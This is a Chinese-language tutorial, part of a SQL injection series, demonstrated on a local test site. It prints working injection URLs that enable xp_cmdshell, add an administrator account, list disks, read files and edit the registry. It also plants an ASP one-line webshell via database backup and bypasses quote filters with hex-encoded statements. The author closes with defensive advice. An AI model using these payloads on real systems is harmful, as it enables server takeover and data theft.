SQL注入是一個比較“古老”的話題,雖然現在存在這種漏洞的站點比較少了,我們還是有必要了解一下它的危害,及其常用的手段,知己知彼方能百戰不殆。進攻與防守相當於矛和盾的關系,我們如果能清楚了解
攻擊的全過程,就可以更好的預防類似情況的出現。
前兩篇文章介紹了攻擊者通過構造SQL語句來獲得“非授權信息”,都是停留在數據庫層面的,其實它的威力可不僅僅止於此吆。如果DB管理員有疏忽,再加上頁面有注入漏洞,危害不僅僅像前兩篇最終網站后台淪陷搞不好整個系統都有可能被人控制。
測試環境跟上一篇相同, MSQL + asp.net + win7。前面已經拿下了管理員用戶名、密碼,我們還是使用新聞詳細頁面 ( 方便測試,不設防 ):
public partial class NewsInfo : System.Web.UI.Page { protected NewsModel _news = new NewsModel(); protected void Page_Load(object sender, EventArgs e) { var id = Request["id"]; var sqlStr = "select * from news where id=" + id; var sqlCon = SqlHelper.GetConnection(); try { var ds = SqlHelper.ExecuteDataset(sqlCon, CommandType.Text, sqlStr); if (ds.Tables[0].Rows.Count <= 0) return; _news.Title = ds.Tables[0].Rows[0]["title"].ToString(); _news.Text = ds.Tables[0].Rows[0]["text"].ToString(); _news.CreateTime = ((DateTime)ds.Tables[0].Rows[0]["createTime"]).ToString("yyyy-MM-dd"); } catch (Exception ex) { } } }
1. 添加系統用戶
這里主要用到 xp_cmdshell 擴展存儲過程將命令字符串作為操作系統命令 shell 執行,並以文本行的形式返回所有輸出。
由於存在安全隱患,一般 xp_cmdshell 默認是關閉的。 如果要執行它首先要打開 xp_cmdshell 打開 xp_cmdshell 的語句
--- 開啟 xp_cmdshell EXEC sp_configure 'show advanced options', 1 RECONFIGURE WITH OVERRIDE EXEC sp_configure 'xp_cmdshell', 1 RECONFIGURE WITH OVERRIDE EXEC sp_configure 'show advanced options', 0 RECONFIGURE WITH OVERRIDE --關閉xp_cmdshell EXEC sp_configure 'show advanced options', 1 RECONFIGURE WITH OVERRIDE EXEC sp_configure 'xp_cmdshell', 0 RECONFIGURE WITH OVERRIDE EXEC sp_configure 'show advanced options', 0
打開之后就可以執行了,通過它能做的事情太多了,開啟你的想象力,在這里我們看看添加用戶 ,需要用到 net user 命令,的大致語法是這樣的
net use \\ip\ipc$ " " /user:" " 建立IPC空鏈接 net use \\ip\ipc$ "密碼" /user:"用戶名" 建立IPC非空鏈接 net use h: \\ip\c$ "密碼" /user:"用戶名" 直接登陸后映射對方C:到本地為H: net use h: \\ip\c$ 登陸后映射對方C:到本地為H: net use \\ip\ipc$ /del 刪除IPC鏈接 net use h: /del 刪除映射對方到本地的為H:的映射 net user 用戶名 密碼 /add 建立用戶 net user guest /active:yes 激活guest用戶 net user 查看有哪些用戶 net user 帳戶名 查看帳戶的屬性 net localgroup /add administrators abc 將abc 添加到administrators 用戶組中 net user guest 12345 用guest用戶登陸后用將密碼改為12345
添加一個用戶 可以構建一條SQL語句 Exec master.dbo.xp_cmdshell 'net user test 123456 /active:yes /add'。
在新聞詳細頁面URL地址里輸入 localhost:833/news/newsInfo?id=12;Exec master.dbo.xp_cmdshell 'net user test 123456 /active:yes /add' 刷新頁面,看看系統里是不是多了一個test 用戶。
把 test用戶加入管理員組 localhost:833/news/newsInfo?id=12;Exec master.dbo.xp_cmdshell 'net localgroup /add administrators test' ,再看看。
test用戶擁有管理員權限了。
2.遍歷磁盤目錄
對磁盤操作的語句如下
--獲取驅動器 exec master.dbo.xp_availablemedia
-- 獲得子目錄列表 exec master.dbo.xp_subdirs 'c:\Users';
-- 獲得所有子目錄的目錄樹結構
exec master.dbo.xp_dirtree 'c:\';
-- 查看文件的內容 exec xp_cmdshell 'type D:\test.txt';
URL地址欄輸入 http://localhost:833/news/newsInfo?id=12;create table diskpath(name nvarchar(255),lowfree nvarchar(255),highfree nvarchar(255),mediatype nvarchar(255)); 回車創建一張表保存磁盤信息
URL地址欄輸入 http://localhost:833/news/newsInfo?id=12;insert diskpath exec master.dbo.xp_availablemedia; 磁盤信息插入表diskpath
在新聞列表頁輸入 http://localhost:833/index?cId=category1' union select 1,name,'3','2016-1-1','5' from diskpath -- 查看服務磁盤列表
同理可以遍歷服務器磁盤結構
3.讀取、修改注冊表
操作注冊表語法
--xp_regenumvalues 以多個記錄集方式返回所有鍵值 --用法: xp_regenumvalues 注冊表根鍵, 子鍵 exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion' --xp_regread 返回制定鍵的值 --用法:xp_regread 根鍵,子鍵,鍵值名 exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' --xp_regwrite 寫入注冊表 --用法:xp_regwrite 根鍵,子鍵, 值名, 值類型, 值 (值類型有2種REG_SZ 表示字符型,REG_DWORD 表示整型 ) exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' --xp_regdeletevalue 刪除某個值 --用法:xp_regdeletevalue 根鍵,子鍵,值名 exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' --xp_regdeletekey 刪除鍵,包括該鍵下所有值 --用法:xp_regdeletevalue 根鍵,子鍵 exec xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey'
在這里就操作手法跟查看服務器磁盤信息類似,這里就不做相關演示了。想一想,注冊表都能改了,開啟遠程桌面,查看遠程桌面開放的端口....等等等等,不都是手到擒來的事情嗎!
所以,為了安全,如果不需要,DB管理員一定要把相關敏感的存儲過程刪除。應用程序連接字符串里的用戶,如果沒有必要給個普通權限就好了,別動不動就把 sa 亮出來,安全為重!!
4.構建websell
這里構建websell其實是利用 sql 的 backup 功能往web程序目錄下寫一個備份文件,只不過是在備份文件的擴展名上做了手腳。
create table cmd (str image) backup database SqlLinjection to disk = 'd:\cmd' with init insert into cmd (str) values ('<%execute request("cmd")%>') backup log SqlLinjection to disk='D:\SourceCode\SQLinjection\cmd.asp';
drop table cmd
這里生成了一個asp頁面在網站目錄里,里面寫了經典的一句話木馬,通過它攻擊者就得到了websell。看看可以訪問嗎
具體這個小馬怎么騎的,如果不清楚請自己 goole。
5.關於對字符的過濾
在前一篇文章 WEB 安全之 SQL注入 < 二 > 暴庫 里,由於時間問題,還有小部分內容沒寫,在這里就補一下吧 (^.^) 。在文章最后一段管理員做了敏感字符的過濾,管理員過濾掉了空格,而攻擊者通過 /**/ 來代替空格繞過了過濾字符。感覺很有成就感,呵呵呵呵。真實環境中管理員發現了漏洞不太可能只過濾掉空格的。你不是注入嗎?我把單引號、等於號、空格 一起都過濾掉,看你怎么辦。。其實沒用的,我相信現在還存在僅僅把單引號替換雙單引號的網站。其
實在第一篇文章 WEB 安全之 SQL注入<一> 盲注 里也說過,最好使用參數化查詢和預編譯查詢語句來預防SQL注入,當然使用一些現成的框架也可以避免。通過過濾的手段要考慮周全,某一點沒考慮到,就會被攻擊者利用。
先看看這條SQL語句 DecLaRe @c vArchaR(8000);sEt @c=0x73656c656374204c454e282766776569776572272920;EXeC(@c);-- 猜猜看可以執行嗎?看到這里大家都明白了吧。攻擊者可以不用單引號來執行同帶單引號語句有相同效果的命令,對付這樣的語句如果過濾的話怎么做? (;@=0x 空格、關鍵字 通通都過濾掉嗎? 這就安全了嗎?不好說,誰知道還有哪些沒想到呢。
結束語:知恥而后勇 知不足而奮進。 拒絕漏洞從我做起,網絡安全程序猿有責。